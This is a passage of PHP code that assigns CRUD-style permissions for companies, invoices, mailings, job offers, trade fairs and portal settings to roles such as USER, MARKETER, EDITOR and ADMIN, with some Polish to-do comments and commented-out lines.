        $this->addPermissionToRole(UserProfile::USER, 'indexAdvertisementsMessages');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewAdvertisementsMessages');
        $this->addPermissionToRole(UserProfile::USER, 'viewOwnAdvertisementsMessages');
        $this->addPermissionToRole(UserProfile::USER, 'createAdvertisementsMessages');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteAdvertisementsMessages');
        $this->addPermissionToRole(UserProfile::USER, 'deleteOwnAdvertisementsMessages');
                
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexUsersShippingData');
        $this->addPermissionToRole(UserProfile::USER, 'indexOwnUsersShippingData');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewUsersShippingData');
        $this->addPermissionToRole(UserProfile::USER, 'viewOwnUsersShippingData');
        $this->addPermissionToRole(UserProfile::MARKETER, 'createUsersShippingData');
        $this->addPermissionToRole(UserProfile::USER, 'createOwnUsersShippingData');
        $this->addPermissionToRole(UserProfile::MARKETER, 'updateUsersShippingData');
        $this->addPermissionToRole(UserProfile::USER, 'updateOwnUsersShippingData');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'deleteUsersShippingData');
        $this->addPermissionToRole(UserProfile::USER, 'deleteOwnUsersShippingData');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexUsersDataToAccount');
        $this->addPermissionToRole(UserProfile::USER, 'indexOwnUsersDataToAccount');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewUsersDataToAccount');
        $this->addPermissionToRole(UserProfile::USER, 'viewOwnUsersDataToAccount');
        $this->addPermissionToRole(UserProfile::MARKETER, 'createUsersDataToAccount');
        $this->addPermissionToRole(UserProfile::USER, 'createOwnUsersDataToAccount');
        $this->addPermissionToRole(UserProfile::MARKETER, 'updateUsersDataToAccount');
        $this->addPermissionToRole(UserProfile::USER, 'updateOwnUsersDataToAccount');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'deleteUsersDataToAccount');
        $this->addPermissionToRole(UserProfile::USER, 'deleteOwnUsersDataToAccount');
        
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexFairsSeries');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'indexOwnFairsSeries');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'viewFairsSeries');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'viewOwnFairsSeries');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'createFairsSeries');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'createOwnFairsSeries');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'updateFairsSeries');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'updateOwnFairsSeries');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'deleteFairsSeries');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'deleteOwnFairsSeries');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'transformFairsSeriesToEditions');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'transformOwnFairsSeriesToEditions');
        
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexFairs');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'indexOwnFairs');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'viewFairs');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'viewOwnFairs');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'createFairs');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'createOwnFairs');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'updateFairs');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'updateOwnFairs');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'deleteFairs');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'deleteOwnFairs');
        
        $this->addPermissionToRole(UserProfile::MODERATOR, 'indexFairsCategories');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'viewFairsCategories');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'createFairsCategories');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'updateFairsCategories');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'deleteFairsCategories');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexTrainings');
        $this->addPermissionToRole(UserProfile::COMPANY, 'indexOwnTrainings');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewTrainings');        
        $this->addPermissionToRole(UserProfile::COMPANY, 'viewOwnTrainings');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'modifyTrainings');
        $this->addPermissionToRole(UserProfile::COMPANY, 'modifyOwnTrainings');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'deleteTrainings');
        $this->addPermissionToRole(UserProfile::COMPANY, 'deleteOwnTrainings');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexTrainingsCategories');
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewTrainingsCategories');
        $this->addPermissionToRole(UserProfile::ADMIN, 'createTrainingsCategories');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updateTrainingsCategories');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteTrainingsCategories');

        $this->addPermissionToRole(UserProfile::MARKETER, 'indexPortals');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'viewPortals');
        $this->addPermissionToRole(UserProfile::ADMIN, 'createPortals');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updatePortals');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deletePortals');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsCompaniesCategories');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsCompaniesCategories');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsProductsCategories');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsProductsCategories');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsArticlesCategories');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsArticlesCategories');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsJobOffersCategories');
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyPortalsJobOffersCategories');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsTrainingsCategories');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'modifyPortalsTrainingsCategories');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsBookstoreCategories');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'modifyPortalsBookstoreCategories');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsAdvertisementsCategories');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'modifyPortalsAdvertisementsCategories');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsAdvertisementsCategoriesParams');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsAdvertisementsCategoriesParams');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsTendersCPV');
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyPortalsTendersCPV');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsAdsInfo');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsAdsInfo');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsRecommendedSites');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsRecommendedSites');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsTopCompanies');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsTopCompanies');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsTopSearchCompanies');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsTopSearchCompanies');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsCompaniesPromotedInCategories');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsCompaniesPromotedInCategories');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsProductsPromotedInCategories');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsProductsPromotedInCategories');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsTopProducts');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsTopProducts');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsTopSearchProducts');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsTopSearchProducts');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsRecommendedBooks');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsRecommendedBooks');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsPresentationsSettings');
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyPortalsPresentationsSettings');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsServicesTypes');
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyPortalsServicesTypes');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsServices');
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyPortalsServices');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsBookstoreCommissions');
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyPortalsBookstoreCommissions');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsDataSets');
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyPortalsDataSets');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsMenus');
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyPortalsMenus');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsDesign');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsDesign');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsExternalServices');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsExternalServices');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsArticlesTags');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsArticlesTags');        
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsSeo');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsSeo');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexPortalsHomepages');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyPortalsHomepages');
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexPortalsSmtp');
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyPortalsSmtp');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexCompaniesAssignedToPortalsCategories');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyCompaniesAssignedToPortalsCategories');
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexPortalsGoogleAnalyticsFiles');        
        
        
        //@todo dopracować ten blok - robione bez ustaleń z Łukaszem
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexBusinessSectors');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewBusinessSectors');
        $this->addPermissionToRole(UserProfile::EDITOR, 'createBusinessSectors');
        $this->addPermissionToRole(UserProfile::EDITOR, 'updateBusinessSectors');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteBusinessSectors');
        
        //@todo dopracować ten blok - robione bez ustaleń z Łukaszem
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexOperatorsSections');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewOperatorsSections');
        $this->addPermissionToRole(UserProfile::EDITOR, 'createOperatorsSections');
        $this->addPermissionToRole(UserProfile::EDITOR, 'updateOperatorsSections');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteOperatorsSections');
        
        //@todo dopracować ten blok - robione bez ustaleń z Łukaszem
        $this->addPermissionToRole(UserProfile::ADMIN, 'assignNewCompaniesToOperators');        
        
        //@todo dopracować ten blok - robione bez ustaleń z Łukaszem
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexHelpAdminPanel');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewHelpAdminPanel');
        $this->addPermissionToRole(UserProfile::EDITOR, 'createHelpAdminPanel');
        $this->addPermissionToRole(UserProfile::EDITOR, 'updateHelpAdminPanel');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteHelpAdminPanel');
        
        //@todo dopracować ten blok - robione bez ustaleń z Łukaszem
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexArticlesMailboxesFilters');
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewArticlesMailboxesFilters');
        $this->addPermissionToRole(UserProfile::ADMIN, 'createArticlesMailboxesFilters');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updateArticlesMailboxesFilters');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteArticlesMailboxesFilters'); 
        $this->addPermissionToRole(UserProfile::ADMIN, 'manageArticlesMailboxesNewEntries');
        
        //@todo dopracować ten blok - robione bez ustaleń z Łukaszem
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexUndeliveredMails');
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewUndeliveredMails');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteUndeliveredMails'); 
        
        //@todo dopracować ten blok - robione bez ustaleń z Łukaszem
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexPortalsGroups');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewPortalsGroups');
        $this->addPermissionToRole(UserProfile::EDITOR, 'createPortalsGroups');
        $this->addPermissionToRole(UserProfile::EDITOR, 'updatePortalsGroups');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deletePortalsGroups');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexUsers');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewUsers');
        $this->addPermissionToRole(UserProfile::USER, 'viewOwnUsers');
        $this->addPermissionToRole(UserProfile::ADMIN, 'createUsers');
        $this->addPermissionToRole(UserProfile::MARKETER, 'createBasicUsers');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updateUsers');
        $this->addPermissionToRole(UserProfile::EDITOR, 'updateBasicUsers');
        $this->addPermissionToRole(UserProfile::MARKETER, 'updateAssignedUsers');
        $this->addPermissionToRole(UserProfile::USER, 'updateOwnUsers');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteUsers');
        
        $this->addPermissionToRole(UserProfile::USER, 'viewOwnUsersData');
        $this->addPermissionToRole(UserProfile::USER, 'modifyOwnUsersData');
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'viewCompaniesData');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewAssignedCompaniesData');
        $this->addPermissionToRole(UserProfile::COMPANY, 'viewOwnCompaniesData');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyCompaniesData');
//        $this->addPermissionToRole(UserProfile::MARKETER, 'modifyAssignedCompaniesData'); //chwilowo wyłączone na prośbę Łukasza
        $this->addPermissionToRole(UserProfile::MARKETER, 'modifyAssignedCompaniesBasicData');
        $this->addPermissionToRole(UserProfile::COMPANY, 'modifyOwnCompaniesData');
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexSimilarCompanies');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyCompaniesAnnotations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'modifyAssignedCompaniesAnnotations'); 
        $this->addPermissionToRole(UserProfile::MARKETER, 'assignCompanyYourself', false);
        $this->addPermissionToRole(UserProfile::MARKETER, 'reportCompanyToDelete');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'modifyUsersDataWithoutRegistering');
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'viewCompaniesEmployees');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewAssignedCompaniesEmployees');
        $this->addPermissionToRole(UserProfile::COMPANY, 'viewOwnCompaniesEmployees');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyCompaniesEmployees');
        $this->addPermissionToRole(UserProfile::MARKETER, 'modifyAssignedCompaniesEmployees');
        $this->addPermissionToRole(UserProfile::COMPANY, 'modifyOwnCompaniesEmployees');
        
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexCompanies');
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexAssignedCompanies');
        $this->addPermissionToRole(UserProfile::COMPANY, 'indexOwnCompanies');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexCompaniesSellers');
        $this->addPermissionToRole(UserProfile::MARKETER, 'createCompanies');
        $this->addPermissionToRole(UserProfile::COMPANY, 'createOwnCompanies');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'deleteCompanies');
        $this->addPermissionToRole(UserProfile::COMPANY, 'deleteOwnCompanies');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyCompaniesPresentationsSettings');
        $this->addPermissionToRole(UserProfile::MARKETER, 'modifyAssignedCompaniesPresentationsSettings');
        $this->addPermissionToRole(UserProfile::MARKETER, 'accessToInactiveCompaniesPresentations');
        $this->addPermissionToRole(UserProfile::ADMIN, 'mergingCompanies');
        $this->addPermissionToRole(UserProfile::EDITOR, 'viewCompaniesPromotions');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewAssignedCompaniesPromotions');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewCompaniesPresentations');
//        $this->addPermissionToRole(UserProfile::OPERATOR, 'viewCompaniesPresentations'); //@todo to chyba nie będzie wykorzystywane
//        $this->addPermissionToRole(UserProfile::MARKETER, 'viewAssignedCompaniesPresentations'); //@todo to chyba nie będzie wykorzystywane
        $this->addPermissionToRole(UserProfile::COMPANY, 'viewOwnCompaniesPresentations');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'modifyCompaniesPresentations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'modifyAssignedCompaniesPresentations'); 
        $this->addPermissionToRole(UserProfile::COMPANY, 'modifyOwnCompaniesPresentations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'createCompaniesPresentations');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteCompaniesPresentations');
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'indexTasksGeneratingCompaniesPresentations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'viewTasksGeneratingCompaniesPresentations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyTasksGeneratingCompaniesPresentations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteTasksGeneratingCompaniesPresentations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'setAsUsedTasksGeneratingCompaniesPresentations');   
        
        //@todo dopracować ten blok - robione bez ustaleń z Łukaszem
        $this->addPermissionToRole(UserProfile::MODERATOR, 'assigningCompaniesOrdersItemsRealizations');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'assigningYourselfCompaniesOrdersItemsRealizations');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'indexCompaniesOrdersItemsRealizations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexOwnCompaniesOrdersItemsRealizations');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'viewCompaniesOrdersItemsRealizations');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewOwnCompaniesOrdersItemsRealizations');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'executeCompaniesOrdersItemsRealizations');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'executeOwnCompaniesOrdersItemsRealizations');
        $this->addPermissionToRole(UserProfile::EDITOR, 'indexCompaniesOrders');
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexAssignedCompaniesOrders');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'indexOwnCompaniesOrders'); //@todo wyłączone na prośbę Łukasza
        $this->addPermissionToRole(UserProfile::EDITOR, 'viewCompaniesOrders');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewCompaniesArchiveOrders');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewAssignedCompaniesOrders');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'viewOwnCompaniesOrders'); //@todo to chyba nie powinno być w uprawnieniach firmy
        $this->addPermissionToRole(UserProfile::EDITOR, 'getCompaniesOrders');
        $this->addPermissionToRole(UserProfile::MARKETER, 'getCompaniesArchiveOrders');
        $this->addPermissionToRole(UserProfile::MARKETER, 'getAssignedCompaniesOrders');
//        $this->addPermissionToRole(UserProfile::COMPANY, 'getOwnCompaniesOrders'); //@todo wyłączone na prośbę Łukasza
        $this->addPermissionToRole(UserProfile::MARKETER, 'createCompaniesOrders');
        $this->addPermissionToRole(UserProfile::EDITOR, 'updateCompaniesOrders');
        $this->addPermissionToRole(UserProfile::MARKETER, 'updateAssignedCompaniesOrders');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteCompaniesOrders');
        $this->addPermissionToRole(UserProfile::EDITOR, 'deleteCompaniesArchiveOrders');
        $this->addPermissionToRole(UserProfile::EDITOR, 'moveCompaniesArchiveOrders');        
        $this->addPermissionToRole(UserProfile::MARKETER, 'deleteAssignedCompaniesOrders');
        $this->addPermissionToRole(UserProfile::EDITOR, 'generateInvoiceForCompaniesOrders');
        $this->addPermissionToRole(UserProfile::MARKETER, 'generateInvoiceForAssignedCompaniesOrders');    
        $this->addPermissionToRole(UserProfile::MARKETER, 'monthlySummaryCompaniesOrders');        
        
        $this->addPermissionToRole(UserProfile::MODERATOR, 'indexOffers');
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexAssignedOffers');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'viewOffers');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewAssignedOffers');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'getOffers');
        $this->addPermissionToRole(UserProfile::MARKETER, 'getAssignedOffers');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'createOffers');
        $this->addPermissionToRole(UserProfile::MARKETER, 'createAssignedOffers');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'updateOffers');
        $this->addPermissionToRole(UserProfile::MARKETER, 'updateAssignedOffers');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'deleteOffers');
        $this->addPermissionToRole(UserProfile::MARKETER, 'deleteAssignedOffers');
        $this->addPermissionToRole(UserProfile::MARKETER, 'sendOffers');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'manageCompanies');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'manageCompaniesCases');
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'forwardCompaniesCases');
        $this->addPermissionToRole(UserProfile::MARKETER, 'forwardAssignedCompaniesCases');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'moveCompaniesCases');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteCompaniesCases');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexCompaniesChanges');
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyCompaniesChanges');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteCompaniesChanges');
        
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewServices');
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyStandaloneServices'); 
        $this->addPermissionToRole(UserProfile::EDITOR, 'modifyServicesDescriptions');  
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyGlobalSettings');
        
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexInvoices');
        $this->addPermissionToRole(UserProfile::MARKETER, 'indexRelatedInvoices');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'viewInvoices');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewRelatedInvoices');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'createInvoices');
        $this->addPermissionToRole(UserProfile::MARKETER, 'createRelatedInvoices');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'updateInvoices');
        $this->addPermissionToRole(UserProfile::MARKETER, 'updateRelatedInvoices');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'deleteInvoices');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'getInvoices');
        $this->addPermissionToRole(UserProfile::MARKETER, 'getRelatedInvoices');
        $this->addPermissionToRole(UserProfile::MARKETER, 'sendInvoices');
        $this->addPermissionToRole(UserProfile::ADMIN, 'modifyInvoicesFull');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexInvoicesCorrections');
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewInvoicesCorrections');
        $this->addPermissionToRole(UserProfile::ADMIN, 'createInvoicesCorrections');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updateInvoicesCorrections');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteInvoicesCorrections');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexInvoicesCorrectiveNotes');
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewInvoicesCorrectiveNotes');
        $this->addPermissionToRole(UserProfile::ADMIN, 'createInvoicesCorrectiveNotes');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updateInvoicesCorrectiveNotes');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteInvoicesCorrectiveNotes');          
        
        $this->addPermissionToRole(UserProfile::MODERATOR, 'indexEmails');
        $this->addPermissionToRole(UserProfile::ADMIN, 'createEmails');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'viewEmails');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updateEmails');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteEmails');
        
        $this->addPermissionToRole(UserProfile::MODERATOR, 'indexEmailsSets');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'viewEmailsSets');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'modifyEmailsSets');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'getEmailsFromEmailsSets');
                
        $this->addPermissionToRole(UserProfile::EDITOR, 'indexMailings');
        $this->addPermissionToRole(UserProfile::EDITOR, 'viewMailings');
        $this->addPermissionToRole(UserProfile::MARKETER, 'viewOwnMailings');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'createMailings');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'updateMailings');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'deleteMailings');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'deliveryManagementMailings');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'testSendMailings');
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'indexMailingsContents');
        $this->addPermissionToRole(UserProfile::EDITOR, 'viewMailingsContents');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'createMailingsContents');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'updateMailingsContents');
        $this->addPermissionToRole(UserProfile::MODERATOR, 'deleteMailingsContents');
        
        $this->addPermissionToRole(UserProfile::EDITOR, 'viewMailingsStatistics');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteMailingsStatisticsReports');
        
        $this->addPermissionToRole(UserProfile::OPERATOR, 'indexJobOffers');
        $this->addPermissionToRole(UserProfile::COMPANY, 'indexOwnJobOffers');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'viewJobOffers');
        $this->addPermissionToRole(UserProfile::COMPANY, 'viewOwnJobOffers');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'createJobOffers');
        $this->addPermissionToRole(UserProfile::COMPANY, 'createOwnJobOffers');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'updateJobOffers');
        $this->addPermissionToRole(UserProfile::COMPANY, 'updateOwnJobOffers');
        $this->addPermissionToRole(UserProfile::OPERATOR, 'deleteJobOffers');
        $this->addPermissionToRole(UserProfile::COMPANY, 'deleteOwnJobOffers');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexJobOffersCategories');
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewJobOffersCategories');
        $this->addPermissionToRole(UserProfile::ADMIN, 'createJobOffersCategories');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updateJobOffersCategories');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteJobOffersCategories');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexJobOffersSources');
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewJobOffersSources');
        $this->addPermissionToRole(UserProfile::ADMIN, 'createJobOffersSources');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updateJobOffersSources');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteJobOffersSources');
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexPrivateInvoices');
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewPrivateInvoices');
        $this->addPermissionToRole(UserProfile::ADMIN, 'getPrivateInvoices');
        $this->addPermissionToRole(UserProfile::ADMIN, 'createPrivateInvoices');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updatePrivateInvoices');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deletePrivateInvoices');
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexContractors');
        $this->addPermissionToRole(UserProfile::ADMIN, 'viewContractors');
        $this->addPermissionToRole(UserProfile::ADMIN, 'createContractors');
        $this->addPermissionToRole(UserProfile::ADMIN, 'updateContractors');
        $this->addPermissionToRole(UserProfile::ADMIN, 'deleteContractors'); 
        
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexInvoicesReceipts'); 
        $this->addPermissionToRole(UserProfile::ADMIN, 'indexInvoicesSummary'); 
        $this->addPermissionToRole(UserProfile::ADMIN, 'exportInvoices'); 
        $this->addPermissionToRole(UserProfile::ADMIN, 'sendInvoicesToKsef'); 
        $this->addPermissionToRole(UserProfile::ADMIN, 'checkInvoicesStatusInKsef'); 
        $this->addPermissionToRole(UserProfile::ADMIN, 'getInvoicesUPOFromKsef'); 
